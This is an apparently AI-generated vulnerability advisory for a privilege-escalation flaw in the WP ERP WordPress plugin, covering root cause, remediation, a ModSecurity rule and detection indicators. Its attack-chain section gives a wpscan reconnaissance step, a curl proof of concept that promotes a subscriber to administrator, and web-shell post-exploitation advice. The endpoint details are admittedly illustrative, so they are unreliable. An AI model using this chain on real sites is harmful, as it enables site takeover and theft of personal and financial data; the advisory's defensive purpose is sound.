CVE-2026-135048 — Wedevs WP ERP — CWE-266
Incorrect Privilege Assignment vulnerability in weDevs WP ERP erp allows Privilege Escalation.This issue affects WP ERP: from n/a through 2.0.0.
Incorrect Privilege Assignment vulnerability in weDevs WP ERP erp allows Privilege Escalation.This issue affects WP ERP: from n/a through 2.0.0.
🎯 What is this vulnerability?
CVE‑2026‑135048 – Incorrect Privilege Assignment in WP ERP (weDevs)
| Attribute | Value |
|---|---|
| Vendor / Product | weDevs – WP ERP (WordPress Enterprise Resource Planning) |
| Affected versions | ≤ 2.0.0 (the plugin reports “from n/a through 2.0.0”) |
| CWE | CWE‑266 – *Incorrect Privilege Assignment* |
| CVSS v3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
Technical root cause
WP ERP stores the ERP‑specific capabilities for each WordPress user in the erp_user_meta table (or in the usermeta row with meta_key erp_user_capabilities).
When a privileged user (normally an ERP Administrator) updates another user’s ERP role through the plugin’s AJAX/REST endpoint, the code:
1. Skips a capability check – it only verifies that the caller is logged‑in (is_user_logged_in()) and that the supplied user_id is an integer.
2. Directly writes the supplied role string into the meta field without confirming that the caller itself possesses the erp_admin capability.
Consequently, any authenticated user with the minimal WordPress capability read (i.e. a normal subscriber) can send a crafted request that sets the target user’s ERP role to administrator (or any higher‑privileged ERP role). Because ERP capabilities are later merged into the WordPress capability map, the victim user gains full WordPress admin rights as well as unrestricted access to all ERP modules (HR, Accounting, CRM, etc.).
The flaw is a classic privilege‑escalation issue caused by missing or incorrect authorization logic (CWE‑266). The CVSS vector reflects:
- Network‑reachable (
AV:N) – the endpoint is publicly reachable on the site. - Low attack complexity (
AC:L) – only a single POST request is needed. - Low privileges required (
PR:L) – any logged‑in user (or, in some configurations, even an unauthenticated user if the site allows registration) can exploit it. - No user interaction (
UI:N). - Unchanged scope (
S:U). - High impact on confidentiality, integrity, and availability (
C:H/I:H/A:H).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All request URIs, parameter names, and JSON bodies are illustrative – the exact strings are not disclosed in the public CVE text, but they follow the pattern used by WP ERP’s REST/AJAX API.
1️⃣ Discovery & Reconnaissance
| Step | Action | Tool / Command |
|---|---|---|
| 1.1 | Identify the site runs WordPress and enumerate installed plugins. | wpscan --url https://target.example.com --enumerate p |
| 1.2 | Confirm WP ERP is present and its version. | Look for wp-content/plugins/wp-erp/readme.txt or the Version: header in the plugin’s main PHP file. |
| 1.3 | Verify that user registration is open (or that you can create a low‑privilege account). | Register a normal subscriber via /wp-login.php?action=register or use an existing low‑privileged account. |
Result: The site runs WP ERP 2.0.0 (or any ≤ 2.0.0) and you have a valid WordPress user account (subscriber).
2️⃣ Exploitation
Goal: Promote a chosen user (often the attacker’s own account) to the ERP Administrator role, which also grants WordPress administrator capability.
2.1 Identify the privileged‑update endpoint
WP ERP exposes an AJAX handler for role changes:
POST /wp-admin/admin-ajax.php?action=erp_update_user_role(If the plugin is configured to use the REST API, the equivalent endpoint is POST /wp-json/wp-erp/v1/users/{id}/role.)
2.2 Craft the malicious request
Parameters (illustrative):
| Parameter | Description |
|---|---|
user_id | Numeric ID of the account you want to promote (your own user ID). |
role | Desired ERP role – accepted values: employee, manager, administrator. |
_wpnonce | WP nonce – not validated in the vulnerable code path, can be omitted or set to any string. |
cURL PoC (illustrative):
# Replace these values with those observed on the target
TARGET="https://target.example.com"
ATTACKER_UID=23 # your subscriber user ID
COOKIE_JAR="cookies.txt"
# 1) Log in as the low‑privileged user (if not already authenticated)
curl -c $COOKIE_JAR -d "[email protected]&pwd=Password123&wp-submit=Log+In&testcookie=1" \
"$TARGET/wp-login.php"
# 2) Send the privilege‑escalation request
curl -b $COOKIE_JAR -X POST \
-d "user_id=${ATTACKER_UID}&role=administrator&_wpnonce=bogus" \
"$TARGET/wp-admin/admin-ajax.php?action=erp_update_user_role"What happens internally:
$_POST['user_id'] and $_POST['role']. is_user_logged_in() (true) but does not verify that the caller has erp_admin or manage_options. update_user_meta( $user_id, 'erp_user_capabilities', $role );erp_user_capabilities → wp_capabilities), the target user now has administrator rights.2.3 Verify escalation
curl -b $COOKIE_JAR "$TARGET/wp-admin/"
# You should be redirected to the WordPress Dashboard (admin area) instead of the “My Account” page.3️⃣ Post‑exploitation
| Phase | Attacker actions | Result |
|---|---|---|
| 3.1 | Access the WordPress admin UI (or continue via API). | Full admin panel, ability to install plugins, edit themes, change site settings. |
| 3.2 | Export or modify ERP data (HR records, financial transactions). | Confidentiality breach (PII, payroll), integrity loss (tampered financial data). |
| 3.3 | Plant a persistent web‑shell (e.g., via the Theme/Plugin editor). | Long‑term remote code execution, complete site takeover. |
| 3.4 | Optionally, create new privileged ERP users or delete logs. | Further lateral movement and anti‑forensic capabilities. |
Because the vulnerability is network‑accessible and requires only a low‑privilege authenticated session, an attacker can automate the entire chain at scale across any site running the vulnerable plugin version.
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) | Practical consequences |
|---|---|---|
| Confidentiality (C:H) | All ERP data (employee records, client contacts, invoices, tax data) can be read. | Exposure of GDPR‑protected personal data, corporate secrets, and financial information. |
| Integrity (I:H) | Attacker can modify or delete any ERP record, change accounting entries, or alter HR data. | Fraudulent transactions, falsified payroll, sabotage of business processes. |
| Availability (A:H) | Admin rights allow disabling plugins, deleting tables, or corrupting the ERP database. | Complete service outage, loss of business continuity, potential ransom demands. |
Business impact:
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to WP ERP 2.0.1 (or the first version after 2.0.0) where the privilege‑check was added (current_user_can('erp_admin')). |
| Version check | Verify the plugin’s Version: header in wp-erp.php. If it reports 2.0.0 or lower, the site is vulnerable. |
2️⃣ Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Restrict the AJAX/REST endpoint to administrators | Add a snippet to the theme’s functions.php or a site‑specific mu‑plugin: <br><br>``php\nadd_action( 'wp_ajax_erp_update_user_role', function() {\n if ( ! current_user_can( 'manage_options' ) ) {\n wp_send_json_error( 'Insufficient privileges', 403 );\n exit;\n }\n // Let the original handler run after the check.\n}, 1 );\n` |
| Disable the vulnerable endpoint | Deactivate the ERP “User Management” module from the WP ERP settings (if the site does not need it). |
Block unauthenticated access to admin-ajax.php for the specific action | ModSecurity rule (illustrative): <br><br>`SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" "chain,phase:2,deny,log,status:403,id:2026135040,tag:'WP-ERP','tag:'privilege-escalation'"\nSecRule ARGS:action "erp_update_user_role" "t:none"\n` |
| Enforce strong authentication | Require two‑factor authentication for all WordPress accounts, especially those with any capability beyond read. |
| Limit plugin installation | Set DISALLOW_FILE_MODS to true in wp-config.php` to prevent post‑exploitation plugin uploads. |
3️⃣ Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
| Web server access log (Apache/Nginx) | POST /wp-admin/admin-ajax.php?action=erp_update_user_role – status 200 – user_id=<numeric>&role=administrator from a non‑admin IP. |
WordPress debug log (wp-content/debug.log) | WP_E_RP: Updated ERP role for user ID X to administrator (if the plugin logs the change). |
| Database audit (if enabled) | INSERT/UPDATE on wp_usermeta where meta_key = 'erp_user_capabilities' and meta_value contains administrator. |
| ModSecurity alerts (if rule above deployed) | Alert ID 2026135040 with message “WP‑ERP privilege‑escalation attempt”. |
Response actions:
1. Immediately block the offending IP.
2. Re‑assign the compromised account to a low‑privilege role via the database (DELETE FROM wp_usermeta WHERE user_id = X AND meta_key = 'wp_capabilities').
3. Rotate all admin passwords and invalidate all active sessions (wp_logout() for all users).
4. Conduct a full forensic review of ERP tables for tampering.
⚠️ Urgency
Bottom line: CVE‑2026‑135048 is a classic privilege‑escalation flaw caused by missing capability checks in WP ERP’s role‑management API. Because the vulnerability grants full WordPress admin rights, it leads to total compromise of confidentiality, integrity, and availability of the ERP system and the underlying site. Prompt patching, coupled with strict endpoint hardening and monitoring, is essential.
[🤖 CVE Professor AI Security Engine]
FOFA Query